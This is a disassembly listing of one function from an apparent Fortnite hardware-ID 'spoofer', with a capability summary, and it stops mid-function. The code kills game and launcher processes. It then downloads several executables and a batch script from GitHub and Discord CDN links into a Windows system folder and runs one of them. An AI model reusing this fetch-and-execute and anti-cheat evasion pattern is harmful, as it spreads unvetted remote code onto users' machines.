Function at 0x1400091a0
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Hide graphical window
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x518]
sub rsp, 0x5f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140097098]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
xor esi, esi
lea edx, [rsi + 2]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea edx, [rsi + 0xd]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 0xf]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 4]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor edx, edx
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea edx, [rsi + 0x32]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping_EAC.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping_BE.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_FortniteLauncher.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_EpicGamesLauncher.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea edx, [rsi + 0xf]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [0x140086ec0]
lea rdx, str.https:__github.com_kakaoscsiga1245_262642461361ggdgf_raw_main_Cleaner8.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFDevManView.exe
lea rdx, str.https:__github.com_kakaoscsiga1245_fafadgfagga_raw_main_DevManView.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFDeviceCleanupCmd.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1183031009856458765_1183031459435532388_DeviceCleanupCmd.exe_ex6586dae7is657465e7hmc00a54efe9e504ef56dbcda385e7245156285f98ca2d7f2b08bca91cb9ac5b21
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFDriveCleanup.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1172935208413179996_1172935431499825244_DriveCleanup_2.exe_ex6562203eis654fab3ehm3fb8b8feb97d5719831091e3da913fc69ebd05cacde582aa4d4bfe652ada7ae1
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:WindowsINFWoofer.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1164985909855391867_1164986519564587018_Woofer.bat_ex6545353eis6532c03ehmdf352c79fdd5177f2e7457bcb5ce456bc3a428c1c816aa39f880b978fb7ff962
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.C:WindowsINFCleaner8.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
lea edx, [rsi + 0xd]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 0xf]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea edx, [rsi + 9]
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov edx, Ordinal_301
lea ecx, [rdx + 0x64]
call qword [sym.imp.USER32.dll_SetCursorPos]
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x488]
call fcn.140001a00
nop
lea rcx, [rbp + 0x488]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x488]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x140009721
mov qword [rsp + 0x40], 1
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400096f0
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.The_spoofer_will_start_soon_and_disappear__but_just_wait_and_a_console_will_pop_up_when_its_done_
lea rcx, [rbp + 0x3c8]
call fcn.140001a00
nop
lea rcx, [rbp + 0x3c8]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x3c8]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x1400097b1
mov qword [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_30
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140009780
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x3a8]
call fcn.140001a00
nop
lea rcx, [rbp + 0x3a8]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x3a8]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x140009841
mov qword [rsp + 0x40], 1
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140009810
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x388]
call fcn.140001a00
nop
lea rcx, [rbp + 0x388]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x388]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x1400098e1
mov qword [rsp + 0x40], 1
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400098b0
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x268], xmm0
mov qword [rbp + 0x278], rsi
mov qword [rbp + 0x280], rsi
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.It_starts_in_a_few_seconds
lea rcx, [rbp + 0x268]
call fcn.140001ae0
nop
lea rcx, [rbp + 0x268]
cmp qword [rbp + 0x280], 0x10
setae byte [rsp + 0x67]
mov rax, qword [rbp + 0x268]
jb 0x14000994f
mov rdx, rax
mov rcx, rax
mov rbx, rax
jmp 0x140009959
mov rbx, rcx
lea rdx, [rbp + 0x268]
mov rdi, qword [rbp + 0x278]
add rdi, rdx
cmp rcx, rdi
je 0x1400099a2
mov qword [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_30
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140009971
lea rdx, [0x140001aa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], rsi
mov qword [rbp + 0x260], rsi
mov r8d, 0x63
lea rdx, str.___________________________________________________________________________________________________
lea rcx, [rbp + 0x248]
call fcn.140001ae0
nop
lea rcx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
setae byte [rsp + 0x66]
mov rax, qword [rbp + 0x248]
jb 0x140009a10
mov rdx, rax
mov rcx, rax
mov rbx, rax
jmp 0x140009a1a
mov rbx, rcx
lea rdx, [rbp + 0x248]
mov rdi, qword [rbp + 0x258]
add rdi, rdx
cmp rcx, rdi
je 0x140009a71
mov qword [rsp + 0x40], 1
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x140009a40
lea rdx, [0x140086659]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011430
lea rdx, [0x140001aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140086659]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011430
lea rdx, [0x140001aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], rsi
mov qword [rbp + 0x2a0], rsi
mov r8d, 9
lea rdx, str.Starting_
lea rcx, [rbp + 0x288]
call fcn.140001ae0
nop
lea rcx, [rbp + 0x288]
